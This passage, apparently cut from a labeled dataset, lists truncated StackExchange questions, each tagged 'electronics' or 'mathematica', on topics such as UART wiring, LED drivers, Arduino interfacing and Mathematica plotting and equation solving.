best-practice way to ... ",['electronics'] "Title: Can I connect vcc to vdd? Body: I have an USB-UART cable. The connectors listed are Red VCC, Black GND, Green TXD, White cable RXD. I want to connect it to a Alfa Hornet-UB board (http://www.youtube.com/watch?v=i58XOF4Rfc4) with ... ",['electronics'] "Title: PIC: UART transmit corrupted after watchdog sleep Body: I have a PIC16 (datasheet here) for which UART transmit works, except right after a watchdog sleep, where the first few characters are corrupted. I have posted my reduced code below. What could cause ... ",['electronics'] "Title: LED control via USB to Parallel Port in Linux Body: I have USB to 25pin Logilink cable. I connect it with computer with Linux and get a port in /dev/usb/lp0. When I connect LED with pin 1 and 25 as +/- of LED it lights. Now I move + pin of LED to pin2 ... ",['electronics'] "Title: Using a voltage divider on LED IC driver output Body: Would using a voltage divider on the outputs affect the drivers operation? The Driver is a 24 channel current sink IC that will be used for automotive interior lighting. LED will have a Vf of 3.3v @ ... ",['electronics'] "Title: HBridge short circuit between switches Body: I read that the h-bridge driving a transformer primary of an inverter whould benefit from a phase in which the primary is short circuited, before being switched to the opposite current. How much this ... ",['electronics'] "Title: What is the best way to power on different voltage rails? Body: In a design I need to use a Sharp PSP screen and noticed that there is a specific power-up sequence that needs to be followed. VDD (2.5 V) must be high before AVDD (5 V) which is quite a problem ... ",['electronics'] "Title: What is the green/red drag line in Altium? Body: When I drag a component in Altium there is always a line (sometimes it's red, sometimes it's green) connected in the center of the part and pointing to some place in the PCB. I always wonder what is ... ",['electronics'] "Title: Cannot understand how does Arduino memory work for program code Body: I am using Arduino Lilypad and Uno. At first, I've developed my code and ran it on the UNO because its easier to use, but after that I've uploaded it to the Lilypad and it worked too. The intersting ... ",['electronics'] "Title: subsituting one transformer for another [duplicate] Body: Possible Duplicate: Choosing power supply, how to get the voltage and current ratings? I have an eliptical machine that is no longer being manufactured. it appears that the AC to AC adaptor ... ",['electronics'] "Title: Receiving input from RS232 and reading it with Arduino board Body: Let me begin by stating that I don't have much experience in hardware-related projects. I need to obtain info from a machine that outputs its data from an RS232 cable. http://i.imgur.com/fkqnf.png ... ",['electronics'] "Title: Converting from int to string for AVR ATmega32 Body: I am trying to read data from the ADC and display it on a HD44870 compatible LCD with an ATmega32. As the data from the ADC is a 10-bit unsigned integer, the LCD expects a string, some conversion is ... ",['electronics'] "Title: SOT-223 Thermal Pad and Vias Body: I am using a LDO with a SOT-223 footprint and since it might get hot, I wanted to make a nice thermal pad under it to dissipate that heat. I googled and I only found thermal pads, but i wanted some ... ",['electronics'] "Title: calculating RMS noise Body: I'm trying to measure whether a gyro i'm using is damaged. I've got raw data coming off, and a total RMS noise value from the data sheet of 0.38 deg/s-rms. I'd like to look at the raw data and compare ... ",['electronics'] "Title: Answering landline calls with an arduino Body: How can I connect an arduino to a phone line such that, when a call rings, the arduino will 'answer' and be able to respond with (touch) tones and, if possible, 'hear' touch tones as well for 2-way ... ",['electronics'] "Title: Connect fingerprint sensor to serial PC Body: I just ordered an Fingerprint sensor I followed the schematics and made it work with my Arduino.Now I want to connect it directly to my computer, the device has ( GND, RX, TX, 5V ) I have a prolific ... ",['electronics'] "Title: Is there a special way to solder to these LED thermal pads? Body: [I don't know the correct names for these things, so please correct my vocab as needed.] I just tried to solder a wire to the one of the rectangular contact areas on this LED. I'm a beginner hobbyist ... ",['electronics'] "Title: Gate array propagation delay times Body: This is kind of a simple question I haven't been able to find an answer for. According to my notes, propagation delay increases as supply voltage decreases. While intuitively I would think it would ... ",['electronics'] "Title: How to prevent a resistor receiving a too high power? Body: If a circuit was creating 0.3 watts, and resistors rated for 1/4 watts were used, what would be the easiest way to make it stay inside the rating? Would it be to, say, connect two resistors of twice ... ",['electronics'] "Title: negative logic and positive logic gates Body: Why is AND gate equivalent of positive logic OR gate in negative logic? I do not get why we express AND operation as OR gate in negative logic. And what is the advantage of negative logic systems? ",['electronics'] "Title: Resistance to Digital converter Body: I am trying to make a digital ohmmeter on a parallel port interface that can measure resistance with at least 95% accuracy. I have tried a 555 timer monostable assembly which generates a pulse with ... ",['electronics'] "Title: Why is my constant current source (LED driver) pulsing? Body: I bought a current source to try to power some high brightness LEDs. The LEDs take 350mA so I found a current source on digikey that matches that and ordered it: ... ",['electronics'] "Title: converting lots (100+) of analogue audio sources to RTP/UDP/'IP packets'? Body: I was 50/50 posting this here or another board.. hopefully it's in context and maybe I can get some help! Basically I have a scenario where I'll have just over 100 analogue audio sources (50 in and ... ",['electronics'] "Title: microcontroller for custom laptop Body: I'm new to electronics (outside of twiddling with Arduino and a basic college course - I'm more of a software guy) and I'm attempting to build a custom, extremely low-powered, extremely thin, laptop. ... ",['electronics'] "Title: What dielectric liquids can be used as coolants? Body: I've seen some interesting videos of people putting their computers in containers with sunflower oil, where they continue to work normal. Are there any other dielectric liquids that can be used to ... ",['electronics'] "Title: charging battery while under load Body: my question applies to NiCd/NiMh battery types. Can I simultaneously charge & discharge the battery? Might it cause any harm to it? I presume there will be opposite movements of the charged ... ",['electronics'] "Title: SMPS power supply shows strange AC voltage output Body: Hi I have been using a simple laptop power adapter (15V) for my electronic lab-works. And today I'm troubleshooting some RF circuits, and I found a little guilt about ground loops, So I check ... ",['electronics'] "Title: Do I need a protection diode here? Body: Here I have an automotive relay (from a scan of a workshop manual I'm afraid) which is rather more complexly wired up than the relays I'm familiar with. In this diagram: L/Y - +12V L - From the ... ",['electronics'] "Title: Implementing HID input device with an Atmel AVR32 Body: I want to implement a small HID input device using one of the Atmel AVR32 chips (Atmel AT32UC3B1256). The chip has an on-board USB transceiver, with D+ and D- pins etc. I've been looking at tutorials ... ",['electronics'] "Title: A book that talks of how computer hardware is designed Body: There are many books aboout what CPU's pipelines do and etc., but I am unable to find a book that talks of how computer hardware is designed - technical stuff, like electrical engineering stuff. Can ... ",['electronics'] "Title: New to breadboarding and IC Body: I am trying to make a very simple AND Logic gate with the help of a breadboard. This is my first time using all this. I have referred to the video http://www.youtube.com/watch?v=x9R9KAtTyWA It said ... ",['electronics'] "Title: USB differential pair length Body: I am routing a PCB that uses a USB connection. The differential pair traces are 10 mil distant from each other, and they are about 1mm different in length. Is it going to be a problem? What is the ... ",['electronics'] "Title: Difference between link-aggregated 10x10GbE and “True” 100GbE Body: I'm reading on 100G Ethernet and came across this article by ADVA. On page 2, top paragraph (before ""Spectral Efficiency""), it compared link-aggregated 10x10GbE and a ""true"" 100GbE and says A ... ",['electronics'] "Title: LCD rated at max 5.5 V used at 6V Body: I'm trying to use an LCD (DEM16101) from a uC. At some point I've connected it's power input to a 6V battery (above its 5.5 V max rating). I can't initialize it properly so at this point I'm ... ",['electronics'] "Title: Is it safe to use a higher value capacitor? Body: I am trying to replace a bad 820uf 6.3v capacitor on my PC's motherboard. Right now I dont have a 820uf capacitor in my home and also dont have enough time to buy a new capacitor. I have two 470uf ... ",['electronics'] "Title: What is the practical benefit from very sharp probe tip and fast continuity test of DMM? Body: What is the practical benefit from very sharp probe tip and fast continuity test of multimeter? I was searching for a while with google and in ee.se but results contain mainly a dmm seling ads with ... ",['electronics'] "Title: Interfacing Low speed hid device with LPC2468 Body: I am working on LPC2468 Hid.If i interface a full speed hid device with the controller, enumeration is Successful but in case of Low speed devices enumeration is not successful. I am using the sample ... ",['electronics'] "Title: No response from device when using rs485 Body: I've been stuck on this issue for quite some time. I am trying to use an arduino to communicate with another device using RS485. The problem is that I can see the data being sent but, the device does ... ",['electronics'] "Title: Can I remove unneeded 2 plugs from PCI-E power cable? Body: I have a PCI-E PSU power cable and I have two unneeded pins at the end (only need 6 power pins but have 6+2). Can I simply remove the pin where these two wires enter the PSU? I wouldn't think that ... ",['electronics'] "Title: How feasible is it to wire into common household measuring instruments with a solid grasp of electrical engineering? Body: I'm studying up on EE and I have a budding grasp of circuits and ohms law so far. As I continue I wonder how feasible would it be for me to read data from existing electronic devices such as this ... ",['electronics'] "Title: Sensibility and health hazards of reflowing computer PCBs in a domestic oven Body: This is a bit of a fringe question, SE-wise, but I think EE is the best place to ask it. Some acquaintances of mine had a problem with their laptop - the graphics card stopped working. They've ... ",['electronics'] "Title: How do I get the msp430 EZ430-RF2500 to communicate with an MPU-6000 gyroscope over SPI? Body: What are the steps necessary to get Device 1. MSP430 ez430-rf2500 to communicate over Serial Peripheral Interface (SPI) with Device 2. MSP430 5528 and MPU 6000 gyroscope? Goal to get Device #2 ... ",['electronics'] "Title: Matching RF traces Body: The datasheet for this part states the input and output are internally matched to 50 ohms. However what exactly does this mean? For example the output, would I still need a 50 ohm microstrip to ... ",['electronics'] "Title: How to eliminate the forbidden state in an SR latch? Body: I'd like a latch where the output only changes when both inputs have changed. If only one input has changed, the latch output should stay constant. Here's the state table I want: ... ",['electronics'] "Title: Recognizing good quality electrolytic capacitors Body: Too often we get / give the advice to replace all electrolytic capacitors on a PCB when it starts to malfunction (like in DVD player power supply circuit strange behavior. Need help to understand root ... ",['electronics'] "Title: Simulating real world transformer with LTSpice Body: I'm studying LTSpice, and I'm playing in transformer simulation. I want to modelize a real world power line transformer in a reasonable way: I mean I don't need an exact simulation of some specific ... ",['electronics'] "Title: PIC18F2550 Limits Body: I want to use the PIC18F2550 with this dual power circuit but I am afraid about what can happen with the PIC inputs pins. If Vself is 5V, the diode drop (let's say it's a Shottky) will make the Vdd ... ",['electronics'] "Title: Reading a voltage divider schematic Body: I believe that I am fundamentally missing something when looking at schematics. The image below which was used to teach me voltage dividers illustrates my area of confusion. I understand that ... ",['electronics'] "Title: What will I need to know to make a mini-camera? [closed] Body: I've recently had some trouble getting hold of a decent car dashboard camera and figured it might be a fun little pet-project to take on. I'm a software developer by trade, typically for the web. I ... ",['electronics'] "Title: Circuit for controlled buffer Body: I designed a circuit that requires buffers with the control gate (not like the ic's that have the control that will make every buffer turn on or off) . I am wondering how this works, and how it can ... ",['electronics'] "Title: Sensors used in play mats Body: Yesterday I went to one of the toy shops in a local mall and saw several play mats (mostly by hamleys). They were simple mats which responded when we do a gentle press on marked areas. I found the ... ",['electronics'] "Title: How to use a SN75441 h-bridge in conjunction with an arduino Body: I am trying to use a SN75441 h-bridge in conjunction with an arduino in order to drive a DC motor forward and backward. Let me describe the setup and then the problem I am encountering. I have an ... ",['electronics'] "Title: What serial signalling format is this? (RS-485?) Body: This is a mystery signaling standard that I'm trying to sort out. It looks more or less like RS-485 to me, but I don't recognize the long looking start bit, and the ""idle"" state of the line looks a ... ",['electronics'] "Title: What does ND mean on part numbers? Body: I've come across a few parts that have ND at the end of their part number on Mouser and DigiKey. I can order the part with the ND at the end or not. What does that mean? ",['electronics'] "Title: Lightweight, flat batteries Body: I want to design a multifunction device that has a laser pointer as one of its attributes. The laser pointer module I'm considering uses two AA batteries but these batteries are too big/heavy for the ... ",['electronics'] "Title: Resistor values calculation: how to arrive at these values? (Make: Electronics example 10) Body: I'm finally trying to learn basic electronics and working through Make: Electronics. Excellent book so far, but I often wonder how exactly the author calculated the necessary resistor values and I ... ",['electronics'] "Title: Setting RNG (Random Number Generator) boundries Body: I am learning STM32F4 board. I want to get number between 0-15 using RNG. I can`t set boundaries to get that values. Is there someone who has experienced with RNG or Can help me? ",['electronics'] "Title: Why is it only one of four batteries (Li Ion) is drained? Body: I have a programmable TV remote control ( a Marantz I've had since 1999 or longer if it matters), it uses 4 AA batteries. I often find (at least when I use Li-Ion, non-rechargeables) that when the ... ",['electronics'] "Title: What are the little brown things on the back of a Pentium 4? Body: The other day, I removed a Pentium 4 from an old PC that I was dismantling. I was intrigued by the little brown components on its backside (sorry about the picture quality): A closeup: Here, ... ",['electronics'] "Title: How to check if my multimeter's fuse is damaged? Body: I recently bought a cheap multimeter. I played around measuring stuff on simple circuits and I think I managed to damage it as I don't seem to be able to measure current anymore (always get zero ... ",['electronics'] "Title: Why does analog video signal in computers change? Body: I've been told that analog video signal from computer's graphics card changes somehow, and because of that there is an ""auto"" button on many monitors that connect via d-sub. Why does the video signal ... ",['electronics'] "Title: Boost converter can't power load. What are the limitations? Body: I'm trying to power a nixie lamp with a 9 volt battery. The boost converter charges up to 160vdc, the nixie lights, but quickly goes out (or half lights) as it pulls more current ~= 5mA. My boost ... ",['electronics'] "Title: How do you make a component only be on when a capacitor powers it? Body: I've been thinking and thinking about this. Look at this image: (Imagine both the resistor and LEd were in parallel with the capacitor, otherwise the LED will be overloaded) By doing this I've ... ",['electronics'] "Title: Using a WiFi antenna for UMTS Body: I'm thinking of increasing my 3G USB modem's signal reception using an antenna. I know a UMTS(2.1 GHz) antenna is recommended. I need to know whether a WiFi (2.4 GHz) antenna will do the job (as I ... ",['electronics'] "Title: How to drive and control capacitive load? Body: There is electrochromic film (which is some kind of capacitive load) that need to be driven with 50Hz alternating current, load voltage should be controlled in range 0-100V (with 8 or more fixed ... ",['electronics'] "Title: Can I change the input voltage for this temperature-controlled fan circuit:? [duplicate] Body: Possible Duplicate: Can this temperature-controlled fan circuit be modified for different input voltage? For the above temperature-controlled fan control circuit which is originally ... ",['electronics'] "Title: Why do I get compiler errors in the ez430-rf2500 project? Body: I am currently running Code Composer Studio v5.3 on Windows 7 and I have managed to successfully execute the Temperature Demo using this chip: http://processors.wiki.ti.com/index.php/EZ430-RF2500 ... ",['electronics'] "Title: How to identify faulty or Fake (Duplicate) ICs? Body: I am developing an application on LPC2138. I prepared prototype using a standard development board. After completion, I shifted to final board. But I am not able to download any program my LPC2138. ... ",['electronics'] "Title: Inductor purpose Body: I've just almost finished building the Single Side Arduino, but I'm missing one component: the 100uH inductor L1, right next to the pin 7 VCC of the chip. I am wondering what is the purpose of that ... ",['electronics'] "Title: ups 12v 9ah batteries not charging Body: I have a 2000VA ups that contains 2 batteries ( 12V 9Ah ). I think that something happened to the batteries, since now they can barely handle an average laptop for about 3 minutes before shutting down ... ",['electronics'] "Title: Can I use a DC SSR that is switched by a PID controller to control the speed of a 12 V DC fan? Body: This is my first post here. Let me start by saying that I do not have an engineering background. I tinker with electronics in my spare time (Arduino, solid state low-power guitar amps, etc.), but I do ... ",['electronics'] "Title: How to wire a PIC32MX795 so it can be used as a Host (OTG) or device Body: I know that the pic32 can not do both at the same time. In device mode the pic32 should be powered by micro B usb connector and act as a HID/Serial. In host mode it should give power to a USB type A ... ",['electronics'] "Title: How to detect RS232 and USB connectivity? Body: My project involves a PIC communicating over USB and RS-232 channels, which are then multiplexed to 1 UART by means of a dual SPDT analog switch. As such, the PIC has to know which ports are ... ",['electronics'] "Title: Different package size of the same component Body: I am trying to create different package of the same component(grid size), with same pins. Thought that package variant is what I need. However it looks like I can't have same package with different ... ",['electronics'] "Title: SD card as ROM memory in a microcontroller Body: Can I use an SD card as ROM for my microcontroller? What other options are there if I want a large amount of ROM memory (cheap)? ",['electronics'] "Title: I need help getting my computer to talk to my Arduino Uno Body: I've recently jumped on the Arduino bandwagon and am attempting to upload my very first sketch to my Arduino Uno installed on COM port 3. However, I get errors that another device is using COM port 3, ... ",['electronics'] "Title: Arduino uno - Servo Body: Im trying to control two servos at once using Arduino UNO and Arduino Motor Shield. My servos are modified, so that they can work with constant movement. When I send the first order ... ",['electronics'] "Title: Need Quartis II CPLD tutorial for learning VHDL from ZERO [closed] Body: I am learning VHDL from zero using Altera CPLD. Already got Quartis II 12.1 and a 15-lines example VHDL (like Hello World for C learner). To avoid learning bad coding style or digging too deep too ... ",['electronics'] "Title: Scanalogic DIY Logic Analyzer, Extending Sample Time Body: I just completed my build of the Scanalogic DIY logic analyzer. It's working great, but I am noticing something odd about it. This question will likely only make sense to someone who has used or built ... ",['electronics'] "Title: Is it possible that a new transistor is not good even if a current runs through it? Body: I just got an NTE121 replacement transistor for an old 2N2148 that was in a guitar amp. It was the only part I replaced and now I have no sound coming from the speaker. I checked every component on ... ",['electronics'] "Title: Question regarding fuses Body: What is the difference between thermal fuse and MOV and polyfuse.Which is faster and also which companies produce polyfuse, especially in Asia. I have to search for a component that can save my ... ",['electronics'] "Title: How to shift differential signal to read with single ended adc? Body: I'm using a current sense resistor (0.02 ohms) for a high current battery monitor for a hobby project. I'd like to shift this to a 0-5 V range to monitor using an ADC input (single ended.) I ... ",['electronics'] "Title: How can we say an Intel i7 processor is a microprocessor? [closed] Body: How can we say an Intel i7 processor is a microprocessor? It has got: internal cache memory RAM BIOS memory ROM. Only thing left would be I/O pins. If it has got that too, how come that is a ... ",['electronics'] "Title: Anyone know the purpose of these two inductors around a metallic ring? Body: So this link on ebay shows a power board that I have taken out from my microwave. What is the purpose of these two wrapped around a metal ring? Also in general what is the purpose of this power board ... ",['electronics'] "Title: Fading RGB led with ATtiny2313 timer Body: I'm trying to make mood lamp with only hardware PWM and interrupts (i. e. main loop should be empty). I'm doing it as a challenge to learn how timers work, not for any practical reason. So far I've ... ",['electronics'] "Title: How to save Multiple column data in a single file? Body: Hello everyone, I have data in the following form ... ",['mathematica'] "Title: How can I draw a grid behind graphics without using Plot? Body: I want to a show simple vector summation but I don't know how to draw a grid behind the vectors. I am pretty sure I can do it with Mathematica but how? It should look like this: ",['mathematica'] "Title: What is wrong ? problem in numberQ - not limit integration valid Body: i have a problem in integration limits ... my integration limits is a function , and dont work ... the message is that bzero isnt a integral limit when a try do evaluate qQd[]for example. When i ... ",['mathematica'] "Title: Why does the evaluation of this series fail? Body: The following series expression holds: ... ",['mathematica'] "Title: Writing to file as it goes Body: I was wondering if there was a way to write data to a file, during a Do loop, without having to wait till the end. I have written a code which scans over many parameters which get plugged into many ... ",['mathematica'] "Title: Programming Mathematica in plaintext, i.e. no formatting, non-notebook Body: I'm new to Mathematica and I've just begun reading Paul Wellin's Programming in Mathematica. The book, like many other books and online tutorials, revolves around using the notebook, with all its ... ",['mathematica'] "Title: Is there a way to speed up Simplify and/or PolynomialReduce Modulus-> 2? Body: I'm trying to simplify a series of equations with at most 64 input terms. As the number of terms involved in the equations increase, the runtime seems to grow exponentially. Does anyone know of ways ... ",['mathematica'] "Title: How to generalize and speed up this program? Body: There is a vector whose length is $n*m$, we can part it into $n$ sections in order. I want to define a function to compare the $i$-th and $i+1$-th section and find the minimum. The program for $n=m=3$ ... ",['mathematica'] "Title: How do I solve line integrals? Body: For example, how can I solve $$\int_{\left | z \right |=1}\frac{dz}{z}$$ I know that the answer is $2\pi i$ but how do I do it using Mathematica ",['mathematica'] "Title: Why Are Equations Defined By Me Crashing In Mathematica 9? [on hold] Body: I have an equation that worked well in Mathematica 7 but crashes most of the time on Shift, Enter in Mathematica 9. The expression is: ... ",['mathematica'] "Title: Some boundary issue of Integration Body: When I try to solve the integration f(x) as following (type it in the Mathematica) $ f(x)= \frac{1}{π} \int_{-1}^{1} \frac{\sqrt{1-y^2}}{(y-x)}dy $, I met some boundary problems. I have searched some ... ",['mathematica'] "Title: Nintegrate for single point Body: For $f(x)=e^x$ we have: $F(x)=\int f(x) dx=e^x+C$ I consider $C=0$. For $x_1=2 \text{ and } x_2=3$, we can compute: $S_1=F(x_1) \text{ and } S_2=F(x_1)+F(x_2)$ In Mathematica we have function ... ",['mathematica'] "Title: Auto line breaks in workbench Body: I have been using Mathematica for a while and thought of using Worbench to structure my project better. However, moving my code from .nb-files to .m-files in a Workbench project does not really work, ... ",['mathematica'] "Title: Automatically close Mathematica Body: It seems there are a lot of related topics but I haven't found an answer. I want to automatically quit Mathematica after some procedures are done but dialog window appears: ... ",['mathematica'] "Title: Defining the derivatives of a user-defined function [duplicate] Body: I have the following: ... ",['mathematica'] "Title: Saturated Density Plots Body: I am making some density and contour plots in Mathematica. These plots have very high peaks which saturate with color and prevent me from seeing differences in the peaks. Is there a way I can tone ... ",['mathematica'] "Title: Add Pattern to List Removing Duplicates Body: Lets say I have a list of patterns ... ",['mathematica'] "Title: Given a symbolic expression how to find if starts with a minus or not? Body: I am using a Mathematica function which returns some error term in symbolic form. I needed a way to determine if this term starts with a minus sign or not. There will be only one term This is to ... ",['mathematica'] "Title: Given a Boolean representation of a system, how can the Reliability Function be displayed as symbolic algebra? Body: Can Mathematica 9 convert a Boolean representation of an RBD to its symbolic algebraic form? If I have a simple series Reliability Block Diagram made up of 2 components, c1 and c2 bexpr1=And[c1,c2] ... ",['mathematica'] "Title: Save as HTML spent too much time, how to develop the speed? Body: A little file, save as/ export as html files, should take one, two or several minutes. How to speed-up the process. A one simple cell notebook costs me 10-12 seconds, is it a valid time? Recent ... ",['mathematica'] "Title: Using Solve Within Manipulate to Model Feedback Control System Problem Body: This post is extremely long and I do apologize - but please bear with me with all the explanation of the context of the question - due to how long the code is I have included a hyperlink where you can ... ",['mathematica'] "Title: How to compute a discrete histogram of a list [duplicate] Body: I'm trying to compute the discrete histogram of a set of values. By histogram I mean the absolute frequency a value appears on the dataset, by discrete I mean the values are from a discrete set, e.g. ... ",['mathematica'] "Title: How can I publish Notebooks to Github and create an page via using Mathematica? Body: How can I publish Notebooks to Github via using Mathematica? I'm on windows 8, Mathematica 9. How can I upload the current notebook to Github? My function expected is: ... ",['mathematica'] "Title: GUIKit`Private`Script appended to expression when I try to update list through Table Widget Body: I am trying to update a list every time a value in a Table Widget is changed. My list has to be made from expressions and not strings since I am doing some symbolic calculations each time the table ... ",['mathematica'] "Title: ParametricNDSolve and Constraint satisfaction problem Body: I am trying to find the values of two parameters that allow for a specific result of my differential equations, under different initial conditions. Given a system of equations: ... ",['mathematica'] "Title: Plotting multiple regression with data points Body: ... ",['mathematica'] "Title: Export to Google Spreadsheet with OAuthAuthentication Body: Context I'm trying to setup a connection between Mathematica and Google Docs. Specifically, I would like to be able to export data to a Google Spreadsheet (Note: if the spreadsheet is public it's ... ",['mathematica'] "Title: Metric Parameters such as Pratt Figure of Merit (Pratt-FOM) for Edge Detection Body: I have developed a new algorithm in Mathematica v9.0 for the Edge Detection and want to compare it with the existing Roberts, Sobel, Prewitt etc, operators in the presence of Noise. I have evaluated ... ",['mathematica'] "Title: ListLogLogPlot of imaginary fit data Body: I have a data set that I am trying to nonlinearfit a model to and then loglogplot the data and the fit. The data and fit model is: ... ",['mathematica'] "Title: How to compute values only if input fields are filled? Body: In the following code how can I keep the DynamicModule from computing values if the input values are not all filled? If I don't specify default values it will show the code used to compute the values ... ",['mathematica'] "Title: Identifying when two graphic objects overlap Body: I'm designing a small demonstration that helps to visualize the reason behind shaping an electrode that is used to probe a surface: ... ",['mathematica'] "Title: ListSurfacePlot3D[] generates ugly artifacts Body: I have a list of $\{x,y,z\}$ pairs representing points in $R^3$. For every unique value of $z$ there are many $\{x,y\}$ pairs defining a polygon/contour in that particular $z$-plane. My dataset looks ... ",['mathematica'] "Title: How can I provide description for functions [duplicate] Body: I am sorry,might be it's simple question but I want to know. I wrote the following function ... ",['mathematica'] "Title: Error using Solve on Matrix Multiplication Body: I am trying to make a function the will find that value of $x$ in the following equation: $x.a=b$ all values of $x, a, b$ are matrices. The dimensions of $x$ are unknown, but $a$ and $b$ have the ... ",['mathematica'] "Title: Intersection points of ellipses and spheres [migrated] Body: I've already worked out the intersection of two circles, now I'm trying to expand / generalize that to the intersection of 2 ellipses (if the foci are coincident, then they're circles), and then to ... ",['mathematica'] "Title: Changing all link destinations in a notebook Body: I have a bunch of cells containing text and hyperlinks. i.e. of the form: ... ",['mathematica'] "Title: Mathematica 9 link in OriginLab Body: Hi (I am an absolute newbie), I need to send Mathematica data to the program OriginLab to plot and change the graphs. Does anyone know if it is possible to send data from Mathematica 9 via ... ",['mathematica'] "Title: How to properly project a Graphics object consisting of line primitives Body: My problem starts from attempts at depicting overlapping lines of different thickness, i.e. ... ",['mathematica'] "Title: How can I make check boxes that put elements into a list? Body: Right now I have a blank list that I am putting in Manipulate[]. I want to be able to choose whether 1,2, or 3 are in this list by setting z1,z2, z3 as True or False: ... ",['mathematica'] "Title: ContourPlot Legend with colorbar for arbitrary contour values Body: I have a ContourPlot in which I have specified the contour-values myself as Contours->{0.01, 0.05, 0.1, 0.2, 0.3}. I would like to get the corresponding contour-values to be shown in the color-bar in ... ",['mathematica'] "Title: Find a best fitting curve for some data with no regular pattern Body: Suppose some data with no regular pattern is given, so common patterns of functions all fail to fit it. Then how can one find the best fitting curve? I believe there will be some data for which we can ... ",['mathematica'] "Title: How to define delayed coupon payment for FinancialBond? Body: When the coupon calculation end date falls on a holiday, it is customary to delay the coupon payment to the next working day. E.g. a bond may have a monthly coupon calculation period of 2013 Jul 18 to ... ",['mathematica'] "Title: Why does Simplify with TimeConstraint return Removed[$$Failure]? Body: I have a rather ugly Mathematica expression (edit: shown below) that I would like to simplify with a time constraint; simplifying without a time constraint or memory constraint does not return as long ... ",['mathematica'] "Title: Step-by-step definite integration Body: I am interested in obtaining the intermediate steps for rather straightforward symbolic definite integrations (e.g., from an elementary calculus text). As an example, for $\int_0^1 x\,dx$ I'd like ... ",['mathematica'] "Title: How can I make a notebook with two column layout? Body: How can I make a notebook with two column layout? Is it possible? I saw something tools could do such thing? Author Tools? ",['mathematica'] "Title: RSquared Mathematica Excel incoherence Body: I've done a NonLinearRegression with this data ... ",['mathematica'] "Title: NDSolve: ProcessEquations and Reinitialize with Piecewise functions Body: I am having trouble with using NDSolve`Reinitialize when the system consists of a pieceise function. If we define the ODE system ... ",['mathematica'] "Title: Search Images From Graphics Input Body: Let's say I have a list of the following images. 1 2 3 4 5 6 7 How might I construct a function that can compare an input image with another image such that the similarity between the 2 images are ... ",['mathematica'] "Title: Manipulating Frame labels when legends are also there Body: I am plotting a few curves inside a frame with labels on three of its sides; left, right and bottom. I want legends to be places at the top. The problem which I am facing is that the top label ... ",['mathematica'] "Title: Hahn-Exton q-Bessel's function in Mathematica Body: I am interested in implementing Hahn-Exton's q-Bessel Function of the first and second kinds, $J_\alpha^{(3)}(x;q)$ and $Y_\alpha^{(3)}(x;q)$ , in Mathematica. There's no difficulty in defining the ... ",['mathematica'] "Title: How to format labeled Slider in Manipulate Body: I need increased precision of parameter 'k' in my Manipulate ... ",['mathematica'] "Title: Count consecutive occurrences in a list above a certain value Body: I am trying to tally and sort the number of consecutive occurrences in a list above a certain value. For instance: ... ",['mathematica'] "Title: How can I get Formulas with FormBox and FormatType in DisplayFormula Body: How can I get Formulas with FormBox and FormatType in DisplayFormula. Default Stylesheet, cretate one DisplayFormula Cell, then type in Formulas, in the Cell Expression, there is no FormatTyple ... ",['mathematica'] "Title: How to select TransformationFunctions based on Assumptions made when using Simplify? Body: I am re-writing the question using a very simple example so not to confuse matters with the another question being asked where I used the example from there. In general, how to add logic to switch ... ",['mathematica'] "Title: Command line execution of Mathematica notebooks and conversion to .m Body: Sometimes one may want to execute a notebook via the command line (for example to run it remotely). As far as I know it's not possible to run notebooks directly, but ... ",['mathematica'] "Title: Volume of a graph Body: I have the following list: ... ",['mathematica'] "Title: Running unit tests while debug session is running in Workbench Body: Is it possible to run unit test while a debug session is already open in Wolfram Workbench 2.0? A typical use case follows: I have a debug in Workbench session open. I evaluate some cells in a ... ",['mathematica'] "Title: Using SimMetrics Java Function on Mathematica Body: I would like to know if it's possible to use/install this java library on Mathematica. This library, named SimMetrics, has a lot of string similarity functions that I would like to test. Here is the ... ",['mathematica'] "Title: How do I use Mathematica as a vector drawing program? Body: Recently I changed my furniture in my room and I am trying to find the best position of each part. I am sure that Mathematica could help! I read the LocatorPane, selecting multiple Locators for ... ",['mathematica'] "Title: Inverse function Body: What probably could be the inverse of following function? ... ",['mathematica'] "Title: Input alias having a place holder which gets selected when the alias is used Body: If one executes the following code ... ",['mathematica'] "Title: How can I solve a set of non-linear equations? Body: I was wondering whether someone can give me an idea on how I can solve a set of non-linear equations with an unknown exponent This is what I have: Known values: N, R Unknown values: λ, α, J ... ",['mathematica'] "Title: Will built-in functions always perform better than parallelized user-defined functions? Body: ... ",['mathematica'] "Title: Asking Mathematica to produce a function of some variables Body: Given $$l_0=\sqrt{\frac{\lambda_1(\lambda_0+\mu_0)}{\lambda_0(\lambda_1+\mu_1-1)}}$$ and $$l_1=\sqrt{\frac{\lambda_0(\lambda_1+\mu_1)}{\lambda_1(\lambda_0+\mu_0-1)}}$$ ... ",['mathematica'] "Title: Tooltips with Popupmenus, can't supress the popups prior to clicking Body: I'm trying to add popupwindows to tooltips for points on an ErrorListPLot but all the popupwindows appear on screen immediately when I run the command below that plots the graph. After closing all ... ",['mathematica'] "Title: Looking for feedback on this function Body: I'm not sure this is an appropriate question; if not, I'm sure someone will close it :) I've got the following function, listed below; its job is to accept a graph (function) presented either as a ... ",['mathematica'] "Title: Automatic e-mail/text message when a calculation has finished? Body: Sometimes Mathematica takes quite a while to finish calculations and it would be convenient to be able to move away from the computer while it is working. I was wondering if there is any ""clever"" hack ... ",['mathematica'] "Title: Peak Signal to Noise Ratio of Images Body: I am filtering a blurred image, and want to evaluate the performance of Peak Signal to Noise Ratio (PSNR) in Mathematica version 9.0. But I am facing the problem of evaluating the PSNR. Could anyone ... ",['mathematica'] "Title: How to create a simple cross eyed 3d plot Body: I wanted to create a stereoscopic view of my threedimensional plots, so I can interpret them better. The basic things, one would need, are two plot windows which are somehow connected to each other ... ",['mathematica'] "Title: NMaximize problem Body: Could anybody explain to me why the following code fails ? ... ",['mathematica'] "Title: Convert probability example to a distribution Body: Consider a box which contains 30 balls. 10 red, 10 white and 10 blue balls. There will be picked 4 balls randomly, without putting the balls back to the experiment. My question is: How do I create a ... ",['mathematica'] "Title: How to open/close all collapsed/open cells? Body: Is there a way to open/close all collapsed/open cells? The reason is for a long notebook, it is convenient to see all the section and subsection headings at once. ",['mathematica'] "Title: How Do I Plot Histograms and Binomial Distributions Side by Side? Body: Here is the code I thought might yield up two histograms and two binomial distributions plotted side by side: ... ",['mathematica'] "Title: How do I find the best fit? Body: I am trying to solve following system of three differential equations ... ",['mathematica'] "Title: NonlinearModelFit with NDSolve [duplicate] Body: I have a function which uses NDSolve and evaluates the resulting InterpolatingFunction at point [10]: ... ",['mathematica'] "Title: Why do two codes give different output? Body: I have tried the following to get the eigenvalues of several matrices of 